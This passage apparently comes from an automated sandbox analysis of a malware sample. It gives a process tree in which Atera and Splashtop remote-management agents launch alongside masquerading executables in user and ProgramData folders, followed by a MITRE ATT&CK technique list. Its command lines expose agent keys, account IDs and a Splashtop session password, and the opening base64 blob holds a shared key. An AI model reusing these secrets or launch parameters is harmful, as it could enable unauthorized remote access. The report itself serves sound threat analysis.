bTlKOFU0ZVh5VmJxeEhjZzB3M25hWW1FZFNFeEwzMEZnPT0iLCJXaW5YODZDaGVja3N1bSI6IjdtSUF5bG9IeWxIVFVJakhud3NXeVVOXHUwMDJCVWU0alk3eXBrZVx1MDAyQnEyM2xNbEdzR0hpVUc1b21scW1LOVEvYVViODhLXHUwMDJCTnBGMWNaUVpXQjVJb3ZtTzVucWN3PT0iLCJXb3Jrc3BhY2VJZCI6ImJmMGNlNDlkLTc3Y2YtNDcyMS1iZjcwLTU3Njg2MzgzYzlhYiIsIkxvZ05hbWUiOiJEb3ROZXRSdW50aW1lSW5zdGFsbGF0aW9uUmVwb3J0IiwiU2hhcmVkS2V5IjoialVJUy9UOUNSVkRlS3hZZzRVcjNhQ2hoV1F1Y1k3UFZ2d2cwekh1cUpzY3JUampRMkx3SzZVamZ1N2NBMk5wckFSMHIvU1JBWEpZWWxkUEtLRnlLS1E9PSJ9" 001Q300000MveCAIAZ
  2⤵
  PID:6788
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /K "cd /d C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\" /
    3⤵
    - System Time Discovery
    PID:5048
  - - C:\Program Files\dotnet\dotnet.exe
      dotnet --list-runtimes
      4⤵
      System Time Discovery
      PID:7684
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "b7d6c265-ff06-4290-8186-a4694420c95a" agent-api.atera.com/Production 443 or8ixLi90Mf "probe" 001Q300000MveCAIAZ
  2⤵
  PID:3200
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "d56a4aa0-5233-43cd-ac46-b744f37408ce" agent-api.atera.com/Production 443 or8ixLi90Mf "monitor" 001Q300000MveCAIAZ
  2⤵
  - Writes to the Master Boot Record (MBR)
  PID:7896
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "c67bc71b-b159-491f-b0b3-dd8253ed6e30" agent-api.atera.com/Production 443 or8ixLi90Mf "downloadifneeded" 001Q300000MveCAIAZ
  2⤵
  PID:4584
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe" -a "st-streamer://com.splashtop.streamer/?rmm_code=hZCDFPhK75mJ&rmm_session_pwd=02a558a35baca189652783c44c820143&rmm_session_pwd_ttl=86400"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1040
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "3cfd7df8-51dd-47d0-af48-3424cf355956" agent-api.atera.com/Production 443 or8ixLi90Mf "syncinstalledapps" 001Q300000MveCAIAZ
  2⤵
  - Drops file in Program Files directory
  PID:7504
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "47456d74-7930-4726-a095-def7b8f0e0c4" agent-api.atera.com/Production 443 or8ixLi90Mf "getlistofallupdates" 001Q300000MveCAIAZ
  2⤵
  PID:6780
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "1da9d696-cbeb-4cda-b960-7de6a3145d79" agent-api.atera.com/Production 443 or8ixLi90Mf "maintain" 001Q300000MveCAIAZ
  2⤵
  - Modifies registry class
  PID:2988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 8084 -ip 8084
1⤵
PID:7336

C:\Users\Admin\SearchFilterHost.exe
C:\Users\Admin\SearchFilterHost.exe
1⤵
PID:7228

C:\Users\Admin\OneDrive.exe
C:\Users\Admin\OneDrive.exe
1⤵
PID:7296

C:\Users\Public\regedit.exe
C:\Users\Public\regedit.exe
1⤵
- Runs regedit.exe
PID:7644

C:\ProgramData\WmiPrvSE.exe
C:\ProgramData\WmiPrvSE.exe
1⤵
PID:8012

C:\ProgramData\SecurityHealthSystray.exe
C:\ProgramData\SecurityHealthSystray.exe
1⤵
PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion